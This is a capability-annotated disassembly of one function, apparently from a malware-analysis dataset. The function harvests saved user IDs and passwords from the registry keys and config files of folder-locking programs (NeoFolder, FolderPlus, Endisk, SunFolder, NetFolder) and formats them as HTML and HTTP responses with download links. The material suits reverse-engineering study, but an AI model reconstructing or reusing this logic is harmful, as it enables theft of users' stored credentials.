Function at 0x407d50
Capabilities:
Get hostname
Get installed programs
Query or enumerate registry value
Read file on windows

Disassembly:
mov eax, 0x16c0
call fcn.00419070
mov eax, dword [0x425064]
xor eax, esp
mov dword [esp + 0x16bc], eax
push ebx
push ebp
push esi
push edi
mov esi, ecx
mov ebx, edx
push 0x2f
push esi
mov dword [esp + 0x3c], ebx
call fcn.0040d170
add esp, 8
mov dword [esp + 0x14], 0
test eax, eax
je 0x407d97
mov byte [eax], 0
test ebx, ebx
je 0x407d97
inc eax
mov dword [esp + 0x14], eax
push str.NeoFolder
push esi
call fcn.0040d554
mov ebp, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 8
mov edi, 3
test eax, eax
jne 0x407ed8
push str.NeoFolder
lea eax, [esp + 0x50]
push 0x20
push eax
call fcn.0040cc27
push 0x422798
lea ecx, [esp + 0x7c]
push 0x20
push ecx
call fcn.0040cc27
push str.SoftwareHumanAndSoftFileHuntConfig
lea edx, [esp + 0x6e8]
push 0x400
push edx
lea esi, [edi - 2]
call fcn.0040cc27
push str.NeoFolder32.gif
lea eax, [esp + 0xd4]
push 0x20
push eax
call fcn.0040cc27
mov ecx, dword [str.2.2.7.288]
mov edx, dword [0x4227e0]
mov ax, word [0x4227e4]
push str.HKEY_CURRENT_USER
mov dword [esp + 0xc0], ecx
lea ecx, [esp + 0x160]
push 0x20
push ecx
mov dword [esp + 0xcc], edx
mov word [esp + 0xd0], ax
mov dword [esp + 0x54], reloc.WS2_32.dll_accept
call fcn.0040cc27
push str._Save_Password_dword:00000001_r_n
lea edx, [esp + 0x68c]
push 0x80
push edx
call fcn.0040cc27
add esp, 0x48
push str.User_ID
lea eax, [esp + 0xf0]
push 0x20
push eax
mov dword [esp + 0x28], 2
call fcn.0040cc27
push str.0000FF
lea ecx, [esp + 0x4c]
push 7
push ecx
mov dword [esp + 0x3c], esi
mov dword [esp + 0x44], 6
call fcn.0040cc27
push str.Password
lea edx, [esp + 0x128]
push 0x20
push edx
call fcn.0040cc27
push str.FF0000
lea eax, [esp + 0x6b]
push 7
push eax
mov dword [esp + 0x58], edi
mov dword [esp + 0x60], 5
call fcn.0040cc27
add esp, 0x30
jmp 0x40831c
push str.FolderPlus
push esi
call fcn.0040d554
add esp, 8
test eax, eax
jne 0x407ff3
push str.FolderPlus
lea ecx, [esp + 0x50]
push 0x20
push ecx
call fcn.0040cc27
push 0x422850
lea edx, [esp + 0x7c]
push 0x20
push edx
call fcn.0040cc27
push str.SoftwareFolderPlus
lea eax, [esp + 0x6e8]
push 0x400
push eax
mov esi, 1
call fcn.0040cc27
push str.FolderPlus32.gif
lea ecx, [esp + 0xd4]
push 0x20
push ecx
call fcn.0040cc27
push str.HKEY_CURRENT_USER
lea edx, [esp + 0x160]
push 0x20
push edx
mov dword [esp + 0xc8], 0x312e34
mov dword [esp + 0x54], reloc.WS2_32.dll_accept
call fcn.0040cc27
push str._SavePassword_dword:00000001_r_n
lea eax, [esp + 0x68c]
push 0x80
push eax
call fcn.0040cc27
add esp, 0x48
push str.UserName
lea ecx, [esp + 0xf0]
push 0x20
push ecx
mov dword [esp + 0x28], 2
call fcn.0040cc27
push str.0000FF
lea edx, [esp + 0x4c]
push 7
push edx
mov dword [esp + 0x3c], esi
mov dword [esp + 0x44], 6
call fcn.0040cc27
push str.Password
lea eax, [esp + 0x128]
push 0x20
push eax
call fcn.0040cc27
push str.FF0000
lea ecx, [esp + 0x6b]
push 7
push ecx
mov dword [esp + 0x58], edi
mov dword [esp + 0x60], 5
call fcn.0040cc27
add esp, 0x30
jmp 0x40831c
push str.Endisk
push esi
call fcn.0040d554
add esp, 8
test eax, eax
jne 0x40815a
push str.Endisk
lea edx, [esp + 0x50]
push 0x20
push edx
call fcn.0040cc27
push 0x4228b8
lea eax, [esp + 0x7c]
push 0x20
push eax
call fcn.0040cc27
add esp, 0x18
lea ecx, [esp + 0x1c]
push ecx
push 0x20019
xor esi, esi
push esi
push str.SoftwareMicrosoftWindowsCurrentVersionUninstallENdisk
push reloc.WS2_32.dll_bind
mov byte [esp + 0x6e0], 0
call ebp
test eax, eax
jne 0x4080f2
mov ecx, dword [esp + 0x1c]
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x12d0]
push eax
push esi
push esi
push str.UninstallString
push ecx
mov dword [esp + 0x30], 0x400
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4080e7
lea edx, [esp + 0x12cc]
push 0x422910
push edx
call fcn.0040d3c0
add esp, 8
test eax, eax
je 0x4080e7
lea edi, [eax + 2]
push 0x5c
push edi
mov byte [eax + 1], 0
call fcn.0040c0b0
add esp, 8
test eax, eax
je 0x4080e2
push edi
mov byte [eax + 1], 0
lea eax, [esp + 0x6d0]
push 0x400
push eax
call fcn.0040cc27
push str.ZFolder.cfg
lea ecx, [esp + 0x6dc]
push 0x400
push ecx
call fcn.0040cbb3
add esp, 0x18
mov edi, 3
mov edx, dword [esp + 0x1c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [esp + 0x6cc], 0
jne 0x408116
push str.C:Program_FilesEndiskZFolder.cfg
lea eax, [esp + 0x6d0]
push 0x400
push eax
call fcn.0040cc27
add esp, 0xc
push str.Endisk32.gif
lea ecx, [esp + 0xb0]
push 0x20
push ecx
call fcn.0040cc27
push str.1.0.9.8
lea edx, [esp + 0x9c]
push 0x20
push edx
call fcn.0040cc27
push str.ZFolder.cfg
lea eax, [esp + 0xe8]
push 0x20
push eax
call fcn.0040cc27
add esp, 0x24
jmp 0x40831c
push str.SunFolder
push esi
call fcn.0040d554
add esp, 8
test eax, eax
jne 0x40828c
push str.SunFolder
lea ecx, [esp + 0x50]
push 0x20
push ecx
call fcn.0040cc27
push 0x422968
lea edx, [esp + 0x7c]
push 0x20
push edx
call fcn.0040cc27
add esp, 0x18
lea eax, [esp + 0x1c]
push eax
push 0x20019
xor esi, esi
push esi
push str.SoftwareSunFolderApp
push reloc.WS2_32.dll_bind
mov byte [esp + 0x6e0], 0
call ebp
test eax, eax
jne 0x408224
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x12d0]
push edx
push eax
push eax
mov eax, dword [esp + 0x2c]
push str.SunFolderDir
push eax
mov dword [esp + 0x30], 0x400
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x408219
lea ecx, [esp + 0x12cc]
push ecx
lea edx, [esp + 0x6d0]
push 0x400
push edx
call fcn.0040cc27
push str.ZFolder.cfg
lea eax, [esp + 0x6dc]
push 0x400
push eax
call fcn.0040cbb3
add esp, 0x18
mov ecx, dword [esp + 0x1c]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp byte [esp + 0x6cc], 0
jne 0x408248
push str.C:Program_FilesSunFolderSunFolder.ini
lea edx, [esp + 0x6d0]
push 0x400
push edx
call fcn.0040cc27
add esp, 0xc
push str.SunFolder32.gif
lea eax, [esp + 0xb0]
push 0x20
push eax
call fcn.0040cc27
push str.1.2.45
lea ecx, [esp + 0x9c]
push 0x20
push ecx
call fcn.0040cc27
push str.SunFolder.ini
lea edx, [esp + 0xe8]
push 0x20
push edx
call fcn.0040cc27
add esp, 0x24
jmp 0x40831c
push str.NetFolder
push esi
call fcn.0040d554
add esp, 8
test eax, eax
jne 0x408973
push str.NetFolder
lea eax, [esp + 0x50]
push 0x20
push eax
call fcn.0040cc27
push 0x4229f8
lea ecx, [esp + 0x7c]
push 0x20
push ecx
call fcn.0040cc27
push str.C:Program_FilesNetFolderConfig.ini
lea edx, [esp + 0x6e8]
push 0x400
push edx
xor esi, esi
call fcn.0040cc27
push str.NetFolder32.gif
lea eax, [esp + 0xd4]
push 0x20
push eax
call fcn.0040cc27
push str.2.2.0
lea ecx, [esp + 0xc0]
push 0x20
push ecx
call fcn.0040cc27
push str.Config.ini
lea edx, [esp + 0x10c]
push 0x20
push edx
call fcn.0040cc27
add esp, 0x48
test ebx, ebx
je 0x4083e6
cmp dword [esp + 0x14], 0
lea edx, [esp + 0x14c]
jne 0x408360
lea eax, [esp + 0x6c]
push eax
lea ecx, [esp + 0xb0]
push ecx
push str._html__body_bgcolor_white__text_black__link_blue__vlink_blue__alink_red____body__r_n_img_src__Image__s___font_size_6____s__font_color_0000FF__ID__font_color_000000____font_color_FF0000__Pass__font__r_n_br__hr_
push edx
call fcn.0040c00e
lea eax, [esp + 0x15c]
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408357
jmp 0x4083d7
push str.HTTP_1.1_200_OK_r_nContent_Type:_application_binary_stream_r_nConnection:_close_r_n_r_n
push edx
call fcn.0040c00e
lea eax, [esp + 0x154]
add esp, 8
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408378
lea ecx, [esp + 0x14c]
sub eax, edx
push ecx
call fcn.00405970
test esi, esi
je 0x40875c
lea edx, [esp + 0x64c]
push edx
lea eax, [esp + 0x6d0]
push eax
lea ecx, [esp + 0x134]
push ecx
lea edx, [esp + 0x158]
push str.REGEDIT4_r_n_r_n__s_s__r_n_s
push edx
call fcn.0040c00e
lea eax, [esp + 0x160]
add esp, 0x14
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4083d0
lea ecx, [esp + 0x14c]
push ecx
sub eax, edx
call fcn.00405970
test esi, esi
je 0x40875c
mov ecx, dword [esp + 0x18]
lea edx, [esp + 0x18]
push edx
push 0x20019
push 0
lea eax, [esp + 0x6d8]
push eax
push ecx
call ebp
test eax, eax
je 0x408460
test ebx, ebx
je 0x408456
cmp dword [esp + 0x14], 0
jne 0x408456
lea edx, [esp + 0x6c]
push edx
push 0x422b98
lea edx, [esp + 0x254]
call fcn.00401040
lea eax, [esp + 0x254]
add esp, 8
lea edx, [eax + 1]
jmp 0x408440
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408440
lea ecx, [esp + 0x24c]
sub eax, edx
push ecx
call fcn.00405970
mov eax, 1
jmp 0x408975
mov esi, dword [esp + 0x14]
xor eax, eax
cmp dword [esp + 0x1c], eax
mov dword [esp + 0x10], eax
jle 0x4086b9
lea edx, [esp + 0x20]
push edx
lea ecx, [esp + 0x250]
push ecx
mov ecx, dword [esp + 0x20]
lea edx, [esp + eax*4 + 0x2c]
push edx
shl eax, 5
push 0
lea eax, [esp + eax + 0xfc]
push eax
push ecx
mov dword [esp + 0x38], 0x400
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x40870d
test ebx, ebx
je 0x4086a6
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x4084ee
test esi, esi
jne 0x4084ee
lea edx, [esp + 0x24c]
push edx
lea eax, [esp + 0x50]
push eax
mov ecx, edx
push ecx
mov edx, eax
push edx
push eax
push str._a_href__GetIDPass__s__s__s.reg___s__s.reg__a_
lea edx, [esp + 0xee4]
call fcn.00401040
mov eax, dword [esp + 0x28]
add esp, 0x18
cmp dword [esp + eax*4 + 0x24], edi
jne 0x4085ee
xor ebx, ebx
xor ebp, ebp
cmp dword [esp + 0x20], ebx
jle 0x4085a7
mov eax, 1
lea ecx, [esp + 0x24c]
sub eax, ecx
lea esi, [esp + 0xacc]
mov dword [esp + 0x38], eax
nop
cmp dword [esp + 0x14], 0
jne 0x408546
movzx edx, byte [esp + ebx + 0x24c]
push edx
push 0x422cb0
push esi
call fcn.0040c00e
add esp, 0xc
add ebp, 4
add esi, 4
jmp 0x40859c
movzx eax, byte [esp + ebx + 0x24c]
lea edi, [esp + ebx + 0x24c]
push eax
push str._02X_
push esi
call fcn.0040c00e
mov ecx, dword [esp + 0x44]
add ecx, edi
add esp, 0xc
add ebp, 3
add esi, 3
and ecx, reloc.WS2_32.dll_ntohs
jns 0x40857d
dec ecx
or ecx, 0xfffffff0
inc ecx
jne 0x40859c
mov edx, dword [esp + 0x20]
dec edx
cmp ebx, edx
je 0x40859c
push 0x422cc0
push esi
call fcn.0040c00e
add esp, 8
add ebp, 3
add esi, 3
inc ebx
cmp ebx, dword [esp + 0x20]
jl 0x408520
cmp dword [esp + 0x14], 0
jne 0x4085b8
mov byte [esp + ebp + 0xaca], 0
jmp 0x4085c0
mov byte [esp + ebp + 0xacb], 0
lea eax, [esp + 0xacc]
push eax
lea ecx, [esp + 0x250]
push 0x400
push ecx
call fcn.0040cc27
mov eax, dword [esp + 0x1c]
mov ebx, dword [esp + 0x40]
mov esi, dword [esp + 0x20]
add esp, 0xc
mov edi, 3
lea edx, [esp + 0x24c]
push edx
test esi, esi
jne 0x408649
lea ecx, [eax*8]
sub ecx, eax
lea edx, [esp + ecx + 0x40]
mov ecx, dword [esp + eax*4 + 0x30]
push edx
shl eax, 5
push ecx
lea edx, [esp + eax + 0xf8]
push edx
push str._br__font_size_6___s_:___font__font_size__d__color__s___s__font__r_n
lea edx, [esp + 0xae0]
call fcn.00401040
lea eax, [esp + 0xae0]
add esp, 0x14
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408636
lea ecx, [esp + 0xacc]
sub eax, edx
push ecx
jmp 0x4086a1
lea ecx, [esp + 0xad0]
cmp dword [esp + eax*4 + 0x28], edi
je 0x408668
shl eax, 5
lea eax, [esp + eax + 0xf0]
push eax
push str.__s___s__r_n
jmp 0x408678
shl eax, 5
lea eax, [esp + eax + 0xf0]
push eax
push str.__s_hex:_s_r_n
push ecx
call fcn.0040c00e
lea eax, [esp + 0xadc]
add esp, 0x10
lea edx, [eax + 1]
jmp 0x408690
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408690
sub eax, edx
lea edx, [esp + 0xacc]
push edx
call fcn.00405970
mov eax, dword [esp + 0x10]
inc eax
cmp eax, dword [esp + 0x1c]
mov dword [esp + 0x10], eax
jl 0x408474
test ebx, ebx
je 0x4086fd
test esi, esi
jne 0x4086fd
lea edx, [esp + 0xecc]
push edx
push str._br__br__font_size_6__Download_:__s__font__br_
lea edx, [esp + 0x254]
call fcn.00401040
lea eax, [esp + 0x254]
add esp, 8
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4086e7
lea ecx, [esp + 0x24c]
sub eax, edx
push ecx
call fcn.00405970
mov edx, dword [esp + 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40891f
test ebx, ebx
je 0x408456
test esi, esi
jne 0x408456
mov eax, dword [esp + 0x10]
shl eax, 5
lea ecx, [esp + eax + 0xec]
push ecx
lea edx, [esp + 0x70]
push edx
push 0x422c08
lea edx, [esp + 0x258]
call fcn.00401040
lea eax, [esp + 0x258]
add esp, 0xc
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408750
jmp 0x408447
push 0
push 0
push edi
push 0
push 7
push connect
lea eax, [esp + 0x6e4]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4087c2
lea ecx, [esp + 0x6c]
push ecx
push str._br__center__font_size_6__
lea edx, [esp + 0x254]
call fcn.00401040
lea eax, [esp + 0x254]
add esp, 8
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4087a2
sub eax, edx
lea edx, [esp + 0x24c]
push edx
call fcn.00405970
mov eax, 1
jmp 0x408975
push 0
lea eax, [esp + 0x24]
push eax
push 0x400
lea ecx, [esp + 0x258]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test ebx, ebx
je 0x408914
cmp dword [esp + 0x14], 0
jne 0x408903
push str._font_size_3__
mov eax, 0xf
call fcn.00405970
xor eax, eax
xor ecx, ecx
mov dword [esp + 0x10], eax
cmp byte [esp + 0x24c], al
je 0x40885f
cmp eax, dword [esp + 0x20]
jge 0x40885f
cmp byte [esp + eax + 0x24c], 0xd
jne 0x408850
cmp byte [esp + eax + 0x24d], 0xa
jne 0x408850
lea edx, [esp + ecx + 0x24c]
sub eax, ecx
push edx
call fcn.00405970
push str._br_
mov eax, 4
call fcn.00405970
mov eax, dword [esp + 0x10]
lea ecx, [eax + 2]
inc eax
inc eax
cmp byte [esp + eax + 0x24c], 0
mov dword [esp + 0x10], eax
jne 0x408810
sub eax, ecx
lea ecx, [esp + ecx + 0x24c]
push ecx
call fcn.00405970
push str.__font_
mov eax, 7
call fcn.00405970
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0xad0]
push eax
mov dword [esp + 0x18], 0x400
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea ecx, [esp + 0xacc]
push ecx
lea edx, [esp + 0xd0]
push edx
mov eax, ecx
push eax
mov ecx, edx
push ecx
lea edx, [esp + 0x5c]
push edx
push str._a_href__GetIDPass__s__s__s___s__s__a_
lea edx, [esp + 0xee4]
call fcn.00401040
lea eax, [esp + 0xee4]
push eax
push str._br__font_size_6__Download_:__s__font__br_
lea edx, [esp + 0x26c]
call fcn.00401040
lea eax, [esp + 0x26c]
add esp, 0x20
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4088f0
lea ecx, [esp + 0x24c]
sub eax, edx
push ecx
jmp 0x40890f
mov eax, dword [esp + 0x20]
lea edx, [esp + 0x24c]
push edx
call fcn.00405970
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 0x14]
test ebx, ebx
je 0x408456
test esi, esi
jne 0x408456
lea eax, [esp + 0x8c]
push eax
lea ecx, [esp + 0x150]
push str._br__hr__center__font_color_00FF00__size_6__Tested_Version_:__s__font___center___html_
push ecx
call fcn.0040c00e
lea eax, [esp + 0x158]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408956
sub eax, edx
lea edx, [esp + 0x14c]
push edx
call fcn.00405970
mov eax, 1
jmp 0x408975
xor eax, eax
mov ecx, dword [esp + 0x16cc]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.0040bd50
add esp, 0x16c0
ret